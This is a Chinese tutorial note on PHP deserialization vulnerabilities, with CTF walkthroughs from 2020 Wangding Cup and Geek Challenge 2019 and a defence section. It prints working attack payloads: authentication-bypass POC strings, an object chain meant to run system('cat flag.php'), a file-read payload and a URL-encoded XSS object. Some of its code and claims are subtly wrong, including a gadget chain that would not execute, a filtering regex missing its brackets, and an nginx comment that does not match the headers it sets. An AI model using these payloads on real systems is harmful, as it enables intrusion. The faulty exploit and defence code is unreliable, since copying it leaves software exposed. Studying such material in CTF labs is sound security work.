PHP序列化漏洞
一、序列化基础概念
1. 核心函数
函数 | 作用 |
serialize() | 将对象/数据转换为可存储的字符串 |
unserialize() | 将字符串还原为原始数据结构 |
2. 序列化格式说明
php
// 示例:s:6:"luojie"
s → 字符串类型标识
6 → 字符串长度
"luojie" → 实际内容
二、无类序列化实战
1. 基础认证绕过
- 目标代码:
php
$key = "luojie";
$str = $_GET'str';
if(unserialize($str) === $key) {
echo "flag";
}
攻击步骤:
- 1. 构造序列化字符串:`serialize('luojie')` → 输出 `s:6:"luojie"`
- 2. 构造POC:`?str=s:6:"luojie"`
2. 空字符串绕过技巧
- 目标代码:
php
$key = ""; // 后赋值导致实际值为空
$str = $_GET['str'];
if(unserialize($str) === $key) {
echo "flag";
}
攻击步骤:
- 1. 构造空序列化字符串:`s:0:""`
- 2. 构造POC:`?str=s:0:""`
三、类序列化深度解析
1. 属性序列化规则
访问修饰符 | 序列化格式 |
public | 直接显示属性名和值 |
protected | %00*%00属性名 |
private | %00类名%00属性名 |
示例:
php
class Test {
private $secret = "hidden";
}
echo serialize(new Test());
// 输出:O:4:"Test":1:{s:14:"%00Test%00secret";s:6:"hidden";}
2. 魔术方法详解
(1) 生命周期方法
- __construct():对象创建时触发
- __destruct():对象销毁时触发
(2) 数据操作方法
- __get():访问不存在的公有/保护属性时触发
- __set():设置不存在的公有/保护属性时触发
(3) 序列化控制
- __sleep():序列化前触发(返回需序列化的属性数组)
- __wakeup():反序列化后触发(常用于资源重初始化)
经典利用链:
php
class Exploit {
public $callback;
function __destruct() {
$this->callback(); // 反序列化后自动执行回调函数
}
}
$exploit = new Exploit();
$exploit->callback = "system('cat flag.php')";
echo serialize($exploit);
四、CTF实战案例解析
1. 2020网鼎杯AreUSerialz
漏洞点:
- __destruct()中的process()方法逻辑缺陷
- is_valid()函数仅过滤非ASCII字符
攻击步骤:
- 1. 绕过 is_valid():使用纯ASCII字符构造payload
- 2. 修改 op 参数为 2 触发文件读取
- 3. 构造payload:
php
class FileHandler {
public $op = "2";
public $filename = "NewFlag.php";
}
echo serialize(new FileHandler());
2. 极客大挑战2019-PHP
漏洞点:
- __toString() 方法未对属性进行过滤
- 直接输出对象导致XSS
攻击步骤:
- 1. 构造Exception对象:
php
$e = new Exception("<script>alert(1)</script>");
- 2. 序列化后传参:
k=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3B...
五、防御策略指南
1. 输入验证
php
function safe_unserialize($data) {
$filtered = preg_replace('/^A-Za-z0-9_/', '', $data);
return unserialize($filtered);
}
2. 禁用危险函数
php
disable_functions = system,passthru,exec,popen,proc_open,shell_exec
3. 安全配置
nginx
#强制禁用file协议
add_header X-Content-Type-Options nosniff;
add_header Content-Security-Policy "default-src 'self'; script-src 'self';";
4. 代码审计要点
- 1. 检查 __wakeup()是否被绕过
- 2. 验证反序列化参数来源
- 3. 限制敏感类实例化
六、延伸学习资源
- 1.PHP官方序列化文档
- 2.CVE-2016-7124漏洞分析
- 3.0WASP序列化防御指南
本笔记通过真实案例讲解了PHP序列化漏洞的原理与利用,建议配合PHP沙盒环境(如Vulhub)进行实操演练。实际攻防中需注意不同PHP版本的差异性(如PHP7.4引入的Serialized Object Injection防护机制)。